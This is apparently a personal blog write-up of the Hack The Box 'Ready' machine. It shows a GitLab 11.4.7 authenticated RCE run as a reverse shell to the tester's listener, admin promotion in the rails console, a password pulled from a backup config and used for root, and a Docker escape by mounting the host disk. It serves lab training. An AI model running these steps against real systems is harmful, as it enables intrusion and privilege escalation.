Home Ready
Post
Cancel

Ready

Ready

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -sC -sV -oA nmap/ready 10.10.10.220 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-04 23:50 EDT
Nmap scan report for 10.10.10.220
Host is up (0.066s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.84 seconds

GitLab

Gitlab Homepage

After completing the Laboratory Box, I knew you could checkout the /help page to get a version number of GitLab.

Gitlab before login

Huh, I guess you have to create a user first.

After creating a user y00ser:password123, I login and return to the /help page to see a GitLab Community Edition version number 11.4.7

Gitlab after login


Foothold

Using searchsploit to see if there are any available exploits for GitLab shows some promise. There appears to be two python scripts that can give us remote code execution (RCE).

1
2
3
4
5
6
7
8
$ searchsploit gitlab
---------------------------------------------------- ---------------------------------
 Exploit Title                                      |  Path
---------------------------------------------------- ---------------------------------
---[snip]---
GitLab 11.4.7 - RCE (Authenticated) (2)             | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticate | ruby/webapps/49257.py
---[snip]---

I copy one of the scripts to my current directory with searchsploit -m ruby/webapps/49334.py.

I use the scripts -h flag to see what arguments are needed:

1
2
3
4
5
6
7
8
9
10
11
12
$ python3 49334.py -h
usage: 49334.py [-h] -u U -p P -g G -l L -P P

GitLab 11.4.7 RCE

optional arguments:
  -h, --help  show this help message and exit
  -u U        GitLab Username/Email
  -p P        Gitlab Password
  -g G        Gitlab URL (without port)
  -l L        reverse shell ip
  -P P        reverse shell port

So I supply the script with the needed arguments, run nc -lvnp 9001 on another shell tab, and execute the script:

1
2
3
4
5
$ python3 49334.py -u y00ser -p password123 -g http://10.10.10.220 -l 10.10.14.2 -P 9001                                                                                                                                             
[+] authenticity_token: UURyorKkxmg8KQUkog7skIQdeZjNQv4qATa83Enyb7VaC+97Op4Bcz4zX/+NLei82VB96whWqpaXApdGIMlQGw==
[+] Creating project with random name: project4017
[+] Running Exploit
[+] Exploit completed successfully!

And on my nc tab, I see the connection, but no output. I run some simple commands and see if python is installed on the system. Then I create a better looking shell.

1
2
3
4
5
6
7
8
9
10
$ nc -lvnp 9001                                                                 
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.220] 42046
whoami
git
which python
which python3
/opt/gitlab/embedded/bin/python3
/opt/gitlab/embedded/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ 

I tried make the shell more stable by backgrounding the session, running stty raw -echo and returning to the process, but my entire bash screen would freeze so I abandoned trying to get it to work. So I guess I won’t have tab completion. That’s okay.

Looking Back: It might’ve worked if I ran stty raw -echo; fg.


User

Initally I believed this was going to be similar to Laboratory, so I used what I had learned and made my user an admin. Using gitlab-rails console:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gitlab-rails console
-------------------------------------------------------------------------------------
 GitLab:       11.4.7 (98f8423)
 GitLab Shell: 8.3.3
 postgresql:   9.6.8
-------------------------------------------------------------------------------------
Loading production environment (Rails 4.2.10)
irb(main):001:0> user = User.find_by(username: 'y00ser')
user = User.find_by(username: 'y00ser')
=> #<User id:7 @y00ser>
irb(main):002:0> user.admin = true
user.admin = true
=> true
irb(main):003:0> user.save!
user.save!
=> true

Also while I’m here, I’d like to check out the user dude who I saw in the /etc/passwd file. Listing out his attributes, I find a password hash:

1
2
3
4
5
6
7
8
9
irb(main):006:0> u = User.find(2)
u = User.find(2)
=> #<User id:2 @dude>
irb(main):007:0> pp u.attributes
pp u.attributes
{"id"=>2,
 "email"=>"dude@ready.com",
 "encrypted_password"=>
  "$2a$10$NOMTXhO31vqykicMa6zj3O.F5PIyI9q/S4c.v22eMSfXNDdtpI2Mm",

It appears it’s a bcrypt password so I don’t think I’m going to be able to decrypt it anytime soon.

I logged back into GitLab and explored the users, projects, repositories in the admin panel to find anything of value, but didn’t find anything. So this doesn’t look like it’ll be exactly like Laboratory.

Checking out the home directory, there is only one user dude. Inside is the user flag:

1
2
3
4
5
6
7
8
9
10
11
git@gitlab:~/gitlab-rails/working$ cd /home
cd /home
git@gitlab:/home$ ls
ls
dude
git@gitlab:/home$ cd dude
cd dude
git@gitlab:/home/dude$ ls
ls
user.txt
git@gitlab:/home/dude$

Viewing the contents of the root directory / gives us a clue that we are inside of a docker container

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
git@gitlab:/$ ls -al
ls -al
total 104
drwxr-xr-x   1 root root 4096 Dec  1 12:41 .
drwxr-xr-x   1 root root 4096 Dec  1 12:41 ..
-rwxr-xr-x   1 root root    0 Dec  1 12:41 .dockerenv
-rw-r--r--   1 root root  185 Nov 20  2018 RELEASE
drwxr-xr-x   2 root root 4096 Nov 20  2018 assets
drwxr-xr-x   1 root root 4096 Dec  1 15:40 bin
drwxr-xr-x   2 root root 4096 Apr 12  2016 boot
drwxr-xr-x  13 root root 3760 May  4 18:16 dev
drwxr-xr-x   1 root root 4096 Dec  2 10:45 etc
drwxr-xr-x   1 root root 4096 Dec  2 10:45 home
drwxr-xr-x   1 root root 4096 Sep 13  2015 lib
drwxr-xr-x   2 root root 4096 Nov 13  2018 lib64
drwxr-xr-x   2 root root 4096 Nov 13  2018 media
drwxr-xr-x   1 root root 4096 May  5 14:08 mnt
drwxr-xr-x   1 root root 4096 Dec  1 16:23 opt
dr-xr-xr-x 401 root root    0 May  4 18:16 proc
drwx------   1 root root 4096 Dec 13 15:06 root
-rw-r--r--   1 root root   23 Jun 29  2020 root_pass
drwxr-xr-x   1 root root 4096 Dec 13 15:07 run
drwxr-xr-x   1 root root 4096 Nov 19  2018 sbin
drwxr-xr-x   2 root root 4096 Nov 13  2018 srv
dr-xr-xr-x  13 root root    0 May  4 18:16 sys
drwxrwxrwt   1 root root 4096 May  5 14:34 tmp
drwxr-xr-x   1 root root 4096 Nov 13  2018 usr
drwxr-xr-x   1 root root 4096 Nov 13  2018 var
git@gitlab:/$

We see a .dockerenv file which tips us off. There’s also a very interesting file called root_pass inside of the root directory:

1
2
3
git@gitlab:/$ cat root_pass
cat root_pass
YG65407Bjqvv9A0a8Tm_7w

I wonder if we can use that to switch user su to root:

1
2
3
4
5
6
git@gitlab:/$ su - root
su - root
Password: YG65407Bjqvv9A0a8Tm_7w

su: Authentication failure
git@gitlab:/$

Nope, I guess that won’t work. This is the point I go down several rabbit holes, but ultimately this comes down to knowing what’s normal and what isn’t normal on a linux filesystem. I used LinPEAS to enumerate for me and I glanced over the directory I should’ve looked at. We can see a lot of our stuff is in /var/opt/gitlab but there is another directory we see a few things in too, which is /opt/gitlab. Normally you don’t see a lot of things in /opt. /opt is used for “the installation of add-on application software packages.” But if you were to check out your /opt directory on your attack box now, you probably wouldn’t see but maybe one or two items in there. Try running echo $PATH and you probably won’t see /opt in there either. But remember when I ran which python3? The python3 binary was in /opt/gitlab/embedded/bin. In fact if I were to run echo $PATH on this box I would see:

1
2
3
git@gitlab:/$ echo $PATH
echo $PATH
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/bin:/opt/gitlab/bin:/opt/gitlab/embedded/bin:/bin:/usr/bin

There seems to be some important stuff in /opt. Of course this is hindsight now, but it shows the importance of knowing what you should normally see on a box. So let’s see what is in /opt:

1
2
3
4
5
6
ls -al /opt
total 24
drwxr-xr-x 1 root root 4096 Dec  1 16:23 .
drwxr-xr-x 1 root root 4096 Dec  1 12:41 ..
drwxr-xr-x 2 root root 4096 Dec  7 09:25 backup
drwxr-xr-x 1 root root 4096 Dec  1 12:41 gitlab

Backups have a tendency to show some goodies. Let’s see if there is a password inside any of these files. I start broad and work my way down:

First I grep for password across all files in the directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
git@gitlab:/opt/backup$ grep 'password' *
grep 'password' *
docker-compose.yml:        gitlab_rails['initial_root_password']=File.read('/root_pass')
gitlab.rb:#### Email account password
gitlab.rb:# gitlab_rails['incoming_email_password'] = "[REDACTED]"
gitlab.rb:#     password: '_the_password_of_the_bind_user'
gitlab.rb:#     password: '_the_password_of_the_bind_user'
gitlab.rb:#   '/users/password',
gitlab.rb:#### Change the initial default admin password and shared runner registration tokens.
gitlab.rb:# gitlab_rails['initial_root_password'] = "password"
gitlab.rb:# gitlab_rails['db_password'] = nil
gitlab.rb:# gitlab_rails['redis_password'] = nil
gitlab.rb:gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
gitlab.rb:# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
gitlab.rb:##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
gitlab.rb:# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
gitlab.rb:# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
gitlab.rb:# redis['password'] = 'redis-password-goes-here'
gitlab.rb:####! **Master password should have the same value defined in
gitlab.rb:####!   redis['password'] to enable the instance to transition to/from
gitlab.rb:# redis['master_password'] = 'redis-password-goes-here'
gitlab.rb:# geo_secondary['db_password'] = nil
gitlab.rb:# geo_postgresql['pgbouncer_user_password'] = nil
gitlab.rb:#     password: PASSWORD
gitlab.rb:###! generate this with `echo -n '$password + $username' | md5sum`
gitlab.rb:# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
gitlab.rb:#     password: MD5_PASSWORD_HASH
gitlab.rb:# postgresql['pgbouncer_user_password'] = nil
git@gitlab:/opt/backup$

docker-compose.yml references the root_pass file in the root directory, but it also looks like gitlab.rb has quite a few hits on password as well.

Now we drill down to find password in gitlab.rb, but we want to remove results that start with a # since those are comments in the file and don’t mean anything to us:

1
2
3
git@gitlab:/opt/backup$ grep 'password' gitlab.rb | grep -v '^#'
grep 'password' gitlab.rb | grep -v '^#'
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"

That shows us something interesting. Perhaps we can use this to get docker root:

1
2
3
4
5
git@gitlab:/opt/backup$ su - root
su - root
Password: wW59U!ZKMbG9+*#h

root@gitlab:~#

Success!


Root

Admittedly, I started looking at breakout attempts before I privesc’d to docker root. When reviewing the LinePEAS output, it showed caps that were enabled. Most of what I found on the web would reference a pretty simple way to gain root on the host box with certain capabilities enabled, which in this case looked like everything. I eventually fell on this hacktricks which, with SYS_ADMIN capability enabled, could allow the docker container to “mount the host disk and access it freely.”

Oh and if you want to see what capabilites are enabled for you, just run capsh --print

1
2
3
4
5
6
7
8
9
10
11
12
root@gitlab:~# capsh --print
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
root@gitlab:~#

Following along wih the instructions from the site:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@gitlab:/# fdisk -l
---[snip]---
Device        Start      End  Sectors Size Type
/dev/sda1      2048     4095     2048   1M BIOS boot
/dev/sda2      4096 37746687 37742592  18G Linux filesystem
/dev/sda3  37746688 41940991  4194304   2G Linux swap
root@gitlab:/# mkdir /mnt/hole
mkdir /mnt/hole
root@gitlab:/# cd /mnt                
cd /mnt
root@gitlab:/mnt# ls
ls
hole
root@gitlab:/mnt# mount /dev/sda2 hole
mount /dev/sda2 hole
root@gitlab:/mnt# cd hole
cd hole
root@gitlab:/mnt/hole# ls
ls
bin   cdrom  etc   lib    lib64   lost+found  mnt  proc  run   snap  sys  usr
boot  dev    home  lib32  libx32  media       opt  root  sbin  srv   tmp  var
root@gitlab:/mnt/hole# chroot ./ bash
chroot ./ bash
root@gitlab:/# whoami
whoami
root
root@gitlab:/# cd /root
cd /root
root@gitlab:~# ls
ls
docker-gitlab  ready-channel  root.txt  snap
root@gitlab:~#

And there it is. That’s Ready.

This post is licensed under CC BY 4.0 by the author.